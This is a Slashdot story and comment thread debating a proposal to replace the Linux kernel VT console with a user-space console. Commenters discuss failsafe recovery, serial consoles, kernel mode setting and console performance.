Moving the Linux Kernel Console To User-Space

jones_supa sends this quote from Phoronix: "David Herrmann has provided an update on his ambitious initiative to kill off the Linux kernel console. Herrmann has long been working on making the Linux kernel CONFIG_VT option unnecessary for providing a Linux console by punting it off to user-space. The Linux kernel VT console hasn't been changed much in the past two decades and Herrmann is hoping to see it replaced with a user-space solution he's been developing that would allow for multi-seat support, a hardware-accelerated console, full internalization, and other features."

Comments

why?

[andjeng]

if something have any purpose, why should we kill it?

Re:why?

[andjeng]

and serving its purpose decently, offcourse.

Re:why?

[Anonymous Coward]

The idea is to replace a kernel functionality with few features and several crucial limitations with a user space solution that is fully-fledged. The fully-fledged solution is not what you want to have inside the kernel, therefore taking the console to user space.

The need for this arose primarily with the introduction of kernel mode setting etc. Before these advances, the console would somewhat be lame by definition. Now it is much more viable to have a nice console even without a windowing system and that opens new applications to a user-space console.

E.g. look at Terminology. It is a virtual terminal emulator from the Enlightenment guys, built on the EFL core libraries. It works with David Herrmanns patches, without X11 or any display server!
http://www.youtube.com/watch?v=AD-BJThtNnc (here run within X)

Compare this to the basic kernel console. It could replace it if David's work gets through.

Re:why?

[andjeng]

interesting. :) i think i'll try it out.

Re:why?

[Anonymous Coward]

I guess my questions boils down to this: why can't someone who wants a more advanced terminal just open up an X session, and put a few xterms on it? Please leave the very robust kernel console for its failsafe properties.

Re:why?

[jedidiah]

Quite. This sounds like a solution in search of a problem and users that actually care. On the other hand, it could break things horribly especially for those failsafe situations.

it sounds like yet another example for of change for it's own sake not driven by any actual end user requirements that is actually being done DESPITE end user objections.

It seems like a perfect microsoftism.

Re:why?

[Hatta]

The idea is to replace a kernel functionality with few features and several crucial limitations

But those few features are crucial.

The need for this arose primarily with the introduction of kernel mode setting etc.

And what happens when KMS fails? What happens when all you have are VGA text modes?

Will the user space console work in every instance where the current console works? If so, great. If we give up any of the reliability we've grown to rely upon, no thanks. I'd rather have a "lame console" I know will be there, than a full featured console I have to troubleshoot.

Re:why?

[Anonymous Coward]

So you two & everyone who's modded these up, thinks that 1) something being moved to a secondary option is the same as "being killed", and 2) that technology shouldn't be used to improve anything.

Please rethink.

Re:why?

[Anonymous Coward]

Wrong. Less functionality running in the kernel, the better. The kernel is a highly constrained environment, and it is also very security sensitive. Console processing does not belong there.

This sounds like yet another example of uninformed people assuming that they know anything about the subject matter at hand, and assuming that actual kernel developers do not.

Re:why?

[Bill_the_Engineer]

Only if you ignore that the basic console has been stable for how many years/decades?

Re:why?

[Spazmania]

But it's not fully fledged.... it doesn't provide two of the three features I need in a text console: kernel diagnostic messages prior to the start of user space and kernel diagnostic messages following a crash.

Re:why?

[armanox]

Forget about if KMS fails - what if you're just outputting to a serial port?

Re:why?

[Junta]

You don't have VT on a serial port. Although it seems pointless to me in general. The concern about VT in kernel vs. userspace is more religious than practical. The concerns about poor font behavior and such are overblown for a console that, in practical terms, is the console when things go wrong and not generally for day to day use nowadays.

Re:why?

[unixisc]

I think that if David's work works, then it could also be used w/ Minix 3.2, where what you have is a microkernel, so that anything new that's user space would be welcome. I agree w/ the submitter - if they are trying to build in things like internationalization, then moving this from the kernel to user space is a good idea. As for running it within X, I think that with the recent attempts to phase in Wayland and relegate X to be used only when necessary, it's a good idea to move the console too into user space. Although since Linus seems to be opposed to microkernels, I wonder what he'll think about this idea?

Re:why?

[tibit]

What's wrong with it being in the userspace? At least if it crashes, it doesn't bring the whole kernel down. The process is relaunched by the kernel, and off you go. It's the Erlang mantra of reliable software: fail fast, in limited scope. I love it. That's why I'm a big fan of userspace drivers for all devices that are application-specific. Suppose you have a USB-based toy that has a vendor-specific functionality and isn't one of the standard USB device classes. You have an application for. It should only have a userspace driver bundled with the application. You start the app, it claims any USB devices it can handle, and goes from there. That's often how it's done on OS X, it's quite onpopular on Windows, unfortunately.

Re:why?

[tibit]

It's not a long stretch to imagine that you can start a userspace process long before all of the kernel drivers are initialized. It's basically a big waste of time that the kernel delays starting init to *after* all the drivers are initialized. It's a waste of time. The applications that depend on functionality of certain parts of the kernel should simply wait until those parts become available. That's all there's to it. Also, the drivers can be initialized in parallel. No reason for the network card driver initialization not to run in parallel with waiting for the scsi raid driver to come up. The console doesn't need any of that and can be started up as the first thing, even if it were a userspace driver. Kernel usually starts off an initrd image, that's where the console application would be. I think it'd be wonderful if the kernel went in this direction, not only for console but for all other drivers as well. The applications that need to wait for certain things can get notifications when drivers get ready.

Re:why?

[tibit]

It's better if those few crucial features are in a process that can be restarted without having to reboot the kernel after a panic! That's the whole point. If a console server process fails, it simply gets restarted and that's it. You get your consoles back. That's reliable software to me. The alternative would be a kernel oops or a panic. Even if a kernel keeps running after an oops, you should normally reboot at the earliest opportunity because you can't be sure without examining the oops in detail to what extent kernel's internal data structures are consistent. A panic is simply an immediate forced reboot, an oops is a reboot that's forced but may be postpone-able -- IMHO an oops is only postponeable if there's a pair of understanding eyes that can examine the oops, check where in the kernel it happened, and how safe it is to continue. Otherwise, an oops should result in an instant reboot, but preceded with as much of an orderly shutdown as possible. For the most part this means: send sigterm to database and cache processes, send sigkill to all other processes, wait for the terminated processes to shutdown within some window of opportunity, kill them after the window has passed, recursively unmount filesystems, reboot.

Re:why?

[Hatta]

What's wrong with it being in the userspace? At least if it crashes, it doesn't bring the whole kernel down. The process is relaunched by the kernel, and off you go.

Suppose you never make it to user space?

Re:why?

[Hatta]

It's better if those few crucial features are in a process that can be restarted without having to reboot the kernel after a panic!

You're rebooting after a panic no matter what.

If a console server process fails, it simply gets restarted and that's it. You get your consoles back.

I've never had a console fail. I have had userspace fail though.

Re:why?

[Wolfrider]

--O RLY? You can't run "screen" on a serial console?

/ please enlighten me if I'm wrong, see .sig

Re:why?

[Wolfrider]

--I tend to agree with "don't kill off the current TTY console code" - at least leave it as a failsafe -- but would really like to see multi-monitor separate console screens... ;-)

Re:why?

[fa2k]

Wrong. Less functionality running in the kernel, the better. The kernel is a highly constrained environment, and it is also very security sensitive. Console processing does not belong there.

When everything breaks down, it isn't worth much to have a rock solid kernel if you can't interact with it through a console

Re:why?

[Cramer]

When was the last time the console caused a panic? I've used linux for a very long time, and I cannot remember a system crashing due to the *console*. I've seen many instances of X crashing in ways requiring a reboot, and fbcon applications panicing the system. The age old linux console does exactly what it NEEDS to do; if you want fancy fonts, graphics, multi-head multi-seat mini-computer esq functions, you use something else. (X11 and fbcon)

Multi-head, multi-seat installations... I remember mini-computers. Today, it's cheaper to buy a little PC than all the systems and hardware to do multi-seat that's actually usable for anything more than IRC. VT520??? Show me one application in common use that needs a VT520 terminal. I can point out several TN3270 terminal apps (usually in banking, government, and point of sale), but no VT line graphics apps.

I love the guy's inventiveness, but it's a solution in search of a problem. It's like a RADIUS server written in BASH, or prime factoring with sed -- neat, but completely impractical.

Re:why?

[epyT-R]

No, more like it's you who pretends to lack the understanding that newer isn't always better, and that, these days, ideology is doing most of the driving behind 'innovation' rather than technical improvement or capability enhancement. The linux console is already hardware accelerated, and has a non accelerated fallback option, as well as a fast character mode output for those of us using the nvidia blob and don't like wasting half our cpu cycles redrawing the screen during long builds. It also works over serial ports without a bunch of annoying usespace glue, making it great for debugging and embedded systems, and it's proven code. The only thing I think it needs is the ability to retain buffer after a VT switch.

No one said technology shouldn't be used to improve. You are implying that disagreement with this initiative is the same as doing such. Nice fallacy.

Re:why?

[epyT-R]

..and if you have the hardware required for a quick running, nice looking, highres userspace based console, you might as well run X and the terminal of your choice. Then you'll be able to take advantage of the gpu. Of course, if X isn't running, you'll want a console that works no matter what. I don't mind simple acceleration for character blits, but shoving it out to userspace is foolish. This aspect reeks of ideological rather than technical reasoning to me.

Either way something has to shove those pixels around. In character mode, the VGA card does that (on x86/64 anyway) which is faster than anything else. In vesa/uvesa mode, the CPU does it, which is slow. Having the cpu do it AND having it switch context between user and kernelspace will make it even slower, getting worse as the resolution increases. Even if there's a DRM2 enabled driver running (like nouveau), the kernel based console will still be noticeably faster. The system console wasn't meant to be super flexible and pretty. It's meant to be available at all times, not eat resources, and offer maximum screen space for looking at text with speedy updates.

Re:why?

[epyT-R]

Or perhaps you're misinformed about security being the sole factor in play here. It's very important for sure, but not the only issue. Performance and simplicity still matters, even with today's hardware. There are plenty of security issues in all current operating systems, even the ones that like to claim they're secure.

If you are 'that' concerned about security for your application, I recommend you steer clear of general purpose OSs altogether and build a custom solution for your application. If you want an extreme example, use FreeDOS to bootstrap a protected/flat mode runtime, a-la 1995. That way, the only code running is what's needed for your app, and nothing else. It'd be a pain in the ass, for sure, as you'd have to write your own drivers for every single peripheral your highly sensitive application requires, but since such apps are usually for vertical markets anyway, it's doable. Of course, these difficulties are not much different than dealing with a theoretically more secure, yet laggy console that'll likely fail in recovery, embedded work, or some other application where the userland glue falls apart and you're the lucky one who gets to fix it.

Re:why?

[epyT-R]

Ah, no. Parallelizing the kernel like that is not an easy undertaking. Really, the kernel shouldn't hand off to userspace until all drivers are ready to take input from it. It's possible to make the system APPEAR to boot faster by starting the login prompt dependencies early, but that doesn't mean the systems' fully booted. Modern windows does this too, and, on most systems, I find it frustrating when I login only to have to wait another 30 seconds for everything else to catch up. I prefer to see the login prompt when the system's truly ready to go, and have a quick jump to the desktop. If the login prompt isn't coming up fast enough for you, then clear out the cruft or get faster hardware (or both).

As it turns out, on-demand, post userspace initialization is already possible with kernel modules and udev. For those applications, it works fine (though I'm not wild about udev's configuration files).

Re:why?

[snadrus]

Agreed almost completely. Parallel initialization is important, so is reducing the kernel size (for some situations), but growing initrd is a bad idea. I'd parallelize by blocking callers (to an API that requires more boot-up) at the OS until the setup & call is done. That way almost nothing changes and if someone's interested enough to profile their code then they can re-arrange something. Then later if Async/Notify APIs are in-demand they could be added.

Re:why?

[snadrus]

Last I read, KMS allows crash messages. I'd assume similarly that they'd allow pre-userspace messages as well.

Re:why?

[epyT-R]

I've never seen the character based console crash in linux.. not once in 15+ years. The uvesafb graphic mode consoles for non-x86 and x86_64 are another story, and because they don't initialize until halfway through the kernel's boot, the earliest printk() text is lost. DRM2 hardware accelerated drivers like nouveau seem to catch it all, but I"ll bet users have had more crashes with this than with the VGA character mode console. There's just more code being shoved around and more hardware being monkeyed with per character printed, and that increases failure rate.

User space everything has a price: performance, and it's heavy. It's quite unpopular on windows, yes, for good reason. OSX is dog slow by comparison on the same hardware and maybe this behavior is one reason why. While it's nice having ntfs-3g for reading usb flash drives and the like, it's way too cpu intensive for any sort of performance IO..and yes many of us need to read/write ntfs at speed when needed (say shared external disks). I don't get why it was rewritten for fuse. The old ntfs kernel driver still persists to this day in all its limited glory, so it can't be a patent issue.

Re:why?

[Spazmania]

That's a neat trick. Display messages before the kernel starts scheduling me *and* after the kernel stops running me too. You did say the console was implemented in *user space*, right?

Re:why?

[I AOk]

VT is a virtual terminal running on the VGA hardware. On a serial console you just get a getty over a standard tty (i.e., serial device). Work great for managing remote servers to which you get via a BMC (HP ILO), with serial port redirection.

Re:why?

[sjames]

I wouldn't like to see the kernel left with nothing. It should keep the most primitive text mode display and serial console.

However, I would be happy to see the rest go entirely to userspace.

Re:why?

[Bomazi]

You don't need a terminal emulator for that. A simple output only console is sufficient to display kernel messages.

Re:why?

[arkenian]

I think the question wasn't "why should we want a new userspace console" it was "why not have both?"

Re:why?

[amorsen]

It is the terminal emulator part of the console which is going to user space (optionally). The console itself will not go away, so your serial port console is safe.

The built-in terminal emulator is pretty good for a 90's piece of software, but it is showing its age and the limitations are difficult to fix in kernel space.

Re:why?

[ksandom]

I don't think that's right. Serial via technologies like ILO kick in as early as the BIOS. Ie a long time before the kernel starts, let alone getty. I'm pretty sure it does this via the graphics card (since it's taking text at that time anyway), but certainly not getty (which is great for separate serial connections once the computer has booted).

Re:why?

[Forever Wondering]

On the other hand, it could break things horribly especially for those failsafe situations.

it sounds like yet another example for of change for it's own sake not driven by any actual end user requirements that is actually being done DESPITE end user objections.

I think you and the person you replied to have hit the mark. Very few people use VT's. They're more likely to log into X11 and bring up an xterm [or whatever]. Personally, I only use VT's if I want to fix an autostart program before logging into X11. Minimal functionality, such as VT100/xterm compatibility to run vi/emacs is all that is really needed. The guy's time might be better spent in developing a super-duper xterm replacement [that also works with non-X11 graphics systems like Unity].

As long as the kernel is alive, but X11 is not, being able to CTRL-ALT-F2 to get a [guaranteed] VT is important. Also, if the kernel panics, goes to single user or emergency mode, this isn't something that one wants to leave to userspace to perform.

If anything, I'd like to see it go the other way. Being able to boot without rhgb/quiet and prompt/single-step:
- ramdisk operations - the kernel bringup [initializations before systemd can be started]
- the boot sequence [all operations after systemd and before X11 is ready to go]
to be able to see the messages that get scrolled off the screen before the kernel ultimately freezes or panics, due to misconfiguration or an errant driver or malfunctioning piece of hardware.

Re:why?

[Provocateur]

Looks like he had this in mind, among other things as well. Might do you a bit of good to RTFA this time round. (Blasphemy I know)

Re:why?

[ciggieposeur]

I'd rather have a "lame console" I know will be there, than a full featured console I have to troubleshoot.

I like the raw console too, so much so that I wrote an ncurses-based terminal emulator that for several years only looked right on the true raw console. Then Debian's console packages came along and fucked up the CP437 glyphs and I learned that it is a real pain to get the true raw console anymore in a modern distro, even when using UTF-8. My emulator is still ncurses-based but now looks best under xterm with the bolkhov VGA or Terminus fonts and explicitly mapping the colors back to the VGA colors (i.e. yellow = bright brown).

I wouldn't mind if the console could play nice with stuff like Unicode, keyboards, and multi-seat by default. Plus we could get things like a long *persistent* scrollback and much better VT100 support: who wouldn't like to see double-width/double-height lines? And we could retire that godawful palette sequence (CSI ]) that breaks normal OSC behavior.

I suspect the right approach will be three consoles: serial for embedded, KMSCON for normal laptops/desktops, and VT for servers. My favorite Linux feature: we can usually have our cake and eat it too.

Re:why?

[TemporalBeing]

Agreed. I've never had issues with the native console support, it's always when the video drivers start coming into play that the console breaks. My AMD64 system has no console one I go into X because the nVidia Blob Driver breaks it.

While it's nice having ntfs-3g for reading usb flash drives and the like, it's way too cpu intensive for any sort of performance IO..and yes many of us need to read/write ntfs at speed when needed (say shared external disks). I don't get why it was rewritten for fuse. The old ntfs kernel driver still persists to this day in all its limited glory, so it can't be a patent issue.

Can't recall the last time I used the FUSE NTFS-3G driver as the in-kernel driver now has full read/write support and is at least on-par with the FUSE driver for functionality.

Re:why?

[tibit]

Look, I'm not advocating running the fucking filesystem or a network driver in the userspace. I advocate running leaf drivers there -- such as application-specific USB drivers and the console. The console "driver" doesn't provide services used by any other applications. It receives stuff from the kernel and does something with it, and there it ends. It's just like the audit deamon!

When you have exclusive device ownership by an application, with app-specific USB devices, etc., there's absolutely no point in having a device-specific kernel driver. None. Those devices generally are data sinks or sources, and you don't need anything in the kernel besides the regular USB host stack. All of the requests can be handled by the userspace without loss of performance. I know, I've done that, and it works great. FTDI's unix drivers are completely broken on OS X since they use libusb, and libusb doesn't know how to deal with sub-second timeouts on OS X because it uses the wrong APIs that only time out with a second granularity. Thus I've written my own userspace driver from scratch, and it performs beautifully. I can have a bog-standard userspace process get worken up every two milliseconds to process incoming bulk transfer, and to respond to it. It allows regular userspace to provide soft-realtime kind of performance -- I can easily get 3ms device-to-device latency, with userspace application in the middle. It's very useful for prototyping, where occasional glitches can be worked around or even ignored.

Same goes for Windows, where FTDI's stupid driver doesn't feel it necessary to inform you that the device got disconnected. Basically FTDI's driver is written mostly for the braindead blocking kind of use, and they have half-heartedly added an event source that signals arrival of data and change in control line status. I mean give me a fucking break, how stupid that is -- obviously in their minds no one cares if the device has gone away, or when a data transfer had finished, etc. Anyway, that driver code works on OS X using their USB api, Linux using their api, and Windows using UMDF. The performance on all of the platforms is exactly the same. So I specifically don't buy any bullshit arguments about userspace being slow. Yeah, if you need to go back and forth between kernel, userspace driver, kernel, and other applications -- like for networking, filesystems, block devices etc, then sure it's slow. If your application is the sole user of a device, there are few if any benefits to having a kernel driver -- at least if a lower-level kernel driver already handles the bus transaction queuing, as is the case in any modern device bus you can think of (ata/sata, usb, modern pci, etc.). If you want to stream data at a low overhead between the USB device and the userspace, the userspace driver merely needs to keep the device's request queue filled in the host stack, and keep the finished requests drained. That's all there's to it, and it works well, and I can easily keep the device saturated -- running at a rate limited by the device itself and the host usb stack. I can transfer about 33 megabytes/s when talking to FT232H chip connected to a fast CPU -- and that's without trying particularly hard. So, again, I don't buy bullshit arguments that don't stand to a simple experimental confirmation. Remember: the ultimate test is the experiment. Nothing else matters.

Re:why?

[I AOk]

At boot up, the BIOS redirects the PC text screen to the serial port (emulating an ANSI console, I think). Then, there's a setting in the bios telling it when to stop redirecting -- after POST, after boot loader, or never. It only works while the display hardware is in text mode, by the way.

In my case I stop redirecting before the boot loader (grub), and tell Linux it's console is ttyS0.

Wait... here it is: /boot/grub/grub.cfg:
serial --unit=0 --speed=115200 --word=8 --parity=no --stop=1
terminal_input serial
terminal_output serial

Linux:
# cat /proc/cmdline
BOOT_IMAGE=/vmlinuz-3.2.0-37-generic root=UUID=73441761-9587-45c1-a901-63fbb9cac1ff ro console=ttyS0,115200n8 console=tty0

All done in /etc/default/grub, on Ubuntu (IIRC):
GRUB_CMDLINE_LINUX_DEFAULT="console=ttyS0,115200n8 console=tty0"
GRUB_TERMINAL=serial
GRUB_SERIAL_COMMAND="serial --unit=0 --speed=115200 --word=8 --parity=no --stop=1"

Unneeded

[Anonymous Coward]

Lets not mess with the TTY's they are STILL NEEDED for when things go wrong...

Re:Unneeded

[Anonymous Coward]

100x This ^^^

Start messing with the console, and you could end up, like Windows, with no basic, self-reliant recovery options.

Re:Unneeded

[dolmen.fr]

Except that on a VM the need is not the same.
And on a phone also different.
Is it really useful to have an ANSI escape sequence interpreter in the kernel ?
Much of the legacy could be removed/replaced on those kernels.

Re:Unneeded

[Skapare]

The only use for a console when the kernel is so hosed it cannot run any user space is to see the kernel's panic message. The console NOW is not useful unless user space is working. The issues I see are just details on how the console functionality gets moved to user space. It needs to support BOTH framebuffer and text mode displays. But definitely, all those things like cooked line input and such should be in user space, and even pluggable with a clean well defined interface that can be used in C as well as higher languages like Python.

OTOH, a completely kernel-only escape and recovery system would be nice, too. We do not have it, yet. That would require a kernel shell (with commands sufficient for emergency recovery only ... keep it a small optional module that the kernel does not need for day to day running so it can be left out if not needed).

Re:Unneeded

[Anonymous Coward]

/dev/ttyS0 isn't going anywhere.

Re:Unneeded

[petermgreen]

Note that cooked line input is not part of the "console", it's part of the tty system.

Re:Unneeded

[Anonymous Coward]

Except that there are very few computers these days which still have a true serial port.

Re:Unneeded

[spyked]

Short answer: yes.

If you don't want "the legacy", compile it out of the kernel, but don't remove it, for crying out loud! Some people still use that, and for good reasons.

Re:Unneeded

[AwesomeMcgee]

I just noticed an *LPT* port card is installed on my work desktop! What brain damage did my IT team have to think my .NET development workstation would have any reason for an *LPT* port! Just hilarious.

Re:Unneeded

[Guignol]

But there are many things running linux that are not "computers" and for which /dev/ttyS0 is very important

Re:Unneeded

[X0563511]

Your VM host is broken.

Re:Unneeded

[X0563511]

Does your company do any kind of development with hardware? If so, someone somewhere probably needs it for debugging, and so it's in the list for machines used by developers.

Re:Unneeded

[ultranova]

The only use for a console when the kernel is so hosed it cannot run any user space is to see the kernel's panic message.

Which is very useful for troublesolving.

Re:Unneeded

[Brian Feldman]

I don't think either of you can truly appreciate the distinction between kernel-mode software and user-mode software. User-mode still exists when things go wrong. That's called "your kernel having actually booted up and started running init scripts."

Re:Unneeded

[AwesomeMcgee]

None. But my company is a proven brain damagedly stupid company, so there's that.

Re:Unneeded

[PReDiToR]

And in the situation where your kernel didn't boot up and you're scratching your head, where are those messages that will help you?
All the text before:
Give root password for maintenance:
is very useful to some people.

I'll admit that I do tend to compile out early printk and most error messages, hide the init confirmations as much as possible and generally like a tidy boot sequence.
I like to know that I can put them back in when needed though.

Re:Unneeded

[armanox]

I have a USB Serial Cable for my laptop, for connecting to console only servers. Works great (/dev/ttyUSB0, configure just like a serial port).

Re:Unneeded

[Junta]

Every server has one or close enough (e.g. SOL).

Re:Unneeded

[epyT-R]

Is it really useful to have an ANSI escape sequence interpreter in the kernel ?

Yes, it is: For those of us who you end up asking to fix your crashed system/driver...whether it's a desktop, a phone, or some 'virtual host'.

Re:Unneeded

[epyT-R]

keep your python and other bloated, intepreters away from the system level code, thanks. It's bad enough that people insist on using them to script desktop environments now, as if they already weren't slow enough.

Re:Unneeded

[makapuf]

But not interactive nor multiscreen.

Re:Unneeded

[SuperQ]

And with this, we don't need to emulate a stupid serial console. We can just have it bring up a virtio variant.

Re:Unneeded

[sjames]

I can think of far too many situations where userspace was for all practical purposes dead where I was able to at least see why that was so, and in some cases actually recover because the kernel and it's console was still sufficiently responsive.

That goes double or more for the case of serial console. I do hope that's not slated for removal too.

Re:Unneeded

[sjames]

But a heap of servers with IPMI doing serial over lan. Thanks to that, I haven't needed to do a late night dash to the datacenter in years.

good thinking HA!

[rubycodez]

making console depend on layers of complexity in user space, yeah that'll all be there when things go south.... the console is there for emergencies, needs to depend on as little as possibile

But pleeeease keep the key-combo

[Anonymous Coward]

Being able to press ctrl-alt-f1 when anyting hangs the X server is why I feel more at home in linux than in windows or OSX.

Re:But pleeeease keep the key-combo

[Anonymous Coward]

When you are on the X console, all keys are handled by X, including the Ctrl-Alt-F1 (that's why if you lock up X badly, even Ctrl-Alt-F1 won't work, although you may still be able to remotely log in and fix things; assuming you have sshd or something equivalent running, of course). However switching back to X11 with Ctrl-Alt-F7 (or whereever your current X session is) is handled by the console.

Re:But pleeeease keep the key-combo

[poizan42]

That is why you have Ctrl+Alt+SysRq+R ( http://en.wikipedia.org/wiki/Magic_SysRq_key )

Re:But pleeeease keep the key-combo

[cozziewozzie]

Yet this is the first thing you have to disable on a multi-seat system because it will bork your system otherwise.

It's useful in some scenarios, but it is, in essence, a hack which only works in some scenarios. A multi-seat-aware VT would be a blessing.

Re:But pleeeease keep the key-combo

[armanox]

If it's supported in your kernel. Fedora and Ubuntu kernels, by default, do not (part of why I run my own kernel).

Re:But pleeeease keep the key-combo

[Junta]

You know you don't need to press Ctrl for sysrq combos right?

Re:But pleeeease keep the key-combo

[Ostrich25]

If it's supported in your kernel. Fedora and Ubuntu kernels, by default, do not (part of why I run my own kernel).

I'm running Ubuntu Server (precise, 12.04.2 LTS) and SysRq is enabled by default.

Re:But pleeeease keep the key-combo

[Ostrich25]

You know you don't need to press Ctrl for sysrq combos right?

You might. For instance, under KDE or Gnome where hitting Alt-Printscreen/Sysrq might just cause a screenshot to be dumped. http://en.wikipedia.org/wiki/Magic_SysRq_key

Re:But pleeeease keep the key-combo

[thegarbz]

Nope, they already took the SysRq key off me. Something to do with removing an unused key from the keyboard.

Re:But pleeeease keep the key-combo

[poizan42]

You don't have a PrintScreen key?

Re:But pleeeease keep the key-combo

[thegarbz]

Nope: http://www.pcauthority.com.au/News/164694,lenovo-bucks-tradition-ditches-sysrq-button-on-some-keyboards.aspx

Rule no 1

[Anonymous Coward]

If it works, don't fix it

Re:Rule no 1

[Anonymous Coward]

Yeah, but the first rule of Linux is: If it ain't broke, take it apart and compile your own

Re:Rule no 1

[idontgno]

If it still works, you haven't fixed it enough.

Re:Rule no 1

[ellep]

If it ain't broken, fix 'till it is. fix some more until it is no longer broken. repeat.

Re:Rule no 1

[hduff]

Fix it' till it breaks.

Re:Rule no 1

[msauve]

If we don't have it, you don't need it. If we can't fix it, we'll fix it so nobody else can.

Re:Rule no 1

[jones_supa]

If it works, just tune it slightly until it suddenly breaks completely.

It Works. Fuck It Up!

[Anonymous Coward]

So, it's relatively unchanged for "two decades". No one is complaining about it. It doesn't really seem to require improvement as it does what it needs to.

Yea, let's completely gut the system, move it to user space, introduce a metric shit ton of unexpected and undesirable behavior because... Well, Gnome is changing.

Re:It Works. Fuck It Up!

[0123456]

With that argument you kill off a lot of innovation. We don't need cars, we had horse buggies for centuries, right?

You didn't cut off your legs when you got a horse. You didn't shoot all the horses when you got a car.

The console is there to fix the system when someone fscks it up. Making it reliant on a ton of user-space code is a really bad idea.

Re:It Works. Fuck It Up!

[ArsonSmith]

"It ain't broke so don't fix it." is a good rule to live by in a production environment. In development/in innovation you have to look at everything and think, "can it be better?"

Re:It Works. Fuck It Up!

[Midnight Thunder]

If we took this attitude for everything, then we would still be banging rocks, because they work fine.

At this point let the guys demonstrate their concept and see how well it works. A compromise could be simply to keep a minimal set of TTY devices for situations where userspace royally failed. It should be noted that for a good number of cases if userspace royally screwed up, then it is time for a reboot anyhow.

Re:It Works. Fuck It Up!

[petermgreen]

The problem comes when the people in charge think something is better and it gets pushed on others even though they disagree about it being better. We have seen this happen sufficiently often with software (both open and closed source) recently that whenever something like this is announced we fear it happening again.

Re:It Works. Fuck It Up!

[Chris Mattern]

In development/in innovation you have to look at everything and think, "can it be better?"

And that's fine, as long as you accept that at least sometimes, the answer is "No."

Re:It Works. Fuck It Up!

[AwesomeMcgee]

I'm ok with that.

Re:It Works. Fuck It Up!

[lister king of smeg]

if the user space can be fixed with a few terminal commands though why would you reboot?

Re:It Works. Fuck It Up!

[Midnight Thunder]

What I meant, is that given certain usage scenarios, such as with a desktop, the user may opt for what is easier to them: a reboot.

Re:It Works. Fuck It Up!

[Wolfrider]

> Heck, make VT1 the kernel console, and VT2 to VT6 new type consoles. Then if you want the power of new type consoles, you just use one of VT2 to VT6, but if something is seriously fucked up, you can return to the old, featureless but rock stable kernel console on VT1.

--Now that's not a bad idea, I like that. I do something similar already - switch tty2-4 to mingetty, turn off all other tty consoles except tty1, and leave tty1 as regular getty.

Re:It Works. Fuck It Up!

[CaseCrash]

I have been using Windows for too long, as this sentence makes way more sense to me as:

if the user space can be fixed with a reboot though why would you use a few terminal commands?

Re:It Works. Fuck It Up!

[fikx]

you do realize when you talk about kernel changes, only the kernel developers themselves are working in a development environment, right? Production is everyone USING the OS (anyone from the average computer user , computer builders, installers, IT support , etc.) are production uses when it comes to an OS.

Re:It Works. Fuck It Up!

[ArsonSmith]

Sure, but that's almost never.

Re:It Works. Fuck It Up!

[ArsonSmith]

So they should avoid the kernels with the new console support until it is on par or better than the current offerings. Quite simple actually.

Re:good thinking HA!

[Anonymous Coward]

This could be an essential part of GNOME 3!

Re:good thinking HA!

[squiggleslash]

I generally agree although I also don't think it needs to be quite as sophisticated as it is. But that said, answering my own criticism, does supporting multiple character sets, colors, and screen sizes really add so much bloat it'd be worth stripping it down?

I Can't Wait

[Anonymous Coward]

I can;t wait to hear Linus' response to this plan. I expect it to be something like...

How 'bout noh! You crazy Dutch bastard.

Uh

[christurkel]

a hardware-accelerated console

Why?

Re:Uh

[gabereiser]

mainly for screen-size detection and auto-kerning and smooth font support I'm guessing...

Re:Uh

[Anonymous Coward]

Because I like my serial console with crisper text thanks to gold plated conectors and Monster cables.

Re:Uh

[msauve]

...because displaying dmesg output in Comic Sans is so useful when trying to fix a low level system issue.

Re:Uh

[EnsilZah]

Multitouch onscreen keyboard in Stereoscopic 3D, it's like, the future, man.

Re:Uh

[cozziewozzie]

Because the KMS terminal is so slow that anything that outputs stdout or stderr to it will slow down by orders of magnitude.

Note -- the old-style VGA console was HW-accelerated. This is what you get if you use binary blob drivers. The new console, using kernel modesetting and native resolution, isn't. Try compiling something large with lots of console output on a KMS framebuffer. It absolutely hurts.

Re:Uh

[rrohbeck]

One thing I hate about the console is that it's slow.

If you have a driver or piece of HW that misbehaves so lots of kernel messages are printed, scrolling the console screen becomes a bottleneck and the system becomes unresponsive. I've had cases where it took over a half hour to shut down. End users will typically be less patient.

Re:Uh

[AwesomeMcgee]

Could you imagine actually having your terminal displayed in stereoscopic 3D? Watching your DMESG print up all sticking out 3 feet off your screen in your face. I totally disagree with what this dude is doing, but that aside; that would just be totally fucking cool. :D

Re:Uh

[gabereiser]

omg i just had a visual of trying to parse output being printed on screen in 18pt. Comic Sans, nice, thanks for the nightmares for the next few days...

Re:Uh

[operagost]

No deal unless I can use Papyrus!

Re:Uh

[TeknoHog]

It's a UNIX system! I know this!

Re:Uh

[thegarbz]

Because the console is SLOOOOOOOOOOOW! Very slow. For fast outputs it's a massive bottle neck. You can try this yourself. Time how long it takes to run 'find' from the system root vs running 'find > ~/output.txt'.

Re:Uh

[Jonner]

a hardware-accelerated console

Why?

Because the current one is butt slow on anything higher than VGA resolution.

Re:good thinking HA!

[Jawnn]

making console depend on layers of complexity in user space, yeah that'll all be there when things go south.... the console is there for emergencies, needs to depend on as little as possibile

Ain't broke. Nuff said. Okay..., maybe not quite, but let's solve the problem(s) without creating new ones. And yes, busting the console most definitely will create problems.

Wrong Analogy

[Anonymous Coward]

Good troll, but the better analogy would be car steering wheels haven't changed in decades. They're all round and don't come in many colors or properly support knee control. So, I want to move them into the back seat so they don't get in the way.

Re:Wrong Analogy

[Alioth]

No! The Austin Allegro had a square steering wheel.

Re:Wrong Analogy

[Qzukk]

Amusingly, a century ago the complaint was that "tillers worked just fine for steering boats so why change things?" so the first cars were steered by tiller.

Re:Wrong Analogy

[0123456]

If I remember correctly, comparative studies have shown that a joystick is a better way to steer a car than a steering wheel. So they were probably right.

Re:Wrong Analogy

[ultranova]

If I remember correctly, comparative studies have shown that a joystick is a better way to steer a car than a steering wheel.

A joystic is less accurate due to smaller range of motion, more prone to getting spurious input due to small muscle spasm or simply g-forces, and less reliable than a steering wheels due to the lack of mechanical connection to the wheels. On the other hand, it looks cooler, for some definitions of cool. So it's not better, but it is "better".

Re:Wrong Analogy

[MightyYar]

Why would a joystick need to be 1:1 with the mechanical system? Surely some form of damping would address the spurious input. And as for g-forces... fighter jets have joysticks!

Look at the details, this is a joke

[advid.net]

When I read "a hardware-accelerated console" I though that it must be a joke. This whole story.
Bravo! He made it on /. headlines...
(otherwise this kind of idea could have made me feel quite anxious)

Re:Look at the details, this is a joke

[ultrasawblade]

The VT console has been "hardware accelerated" under x86/VGA for years. You don't think it's actually copying memory line for line when it needs to scroll the screen, do you? No, it's incrementing the VGA register that tells it what memory address to start drawing text from.

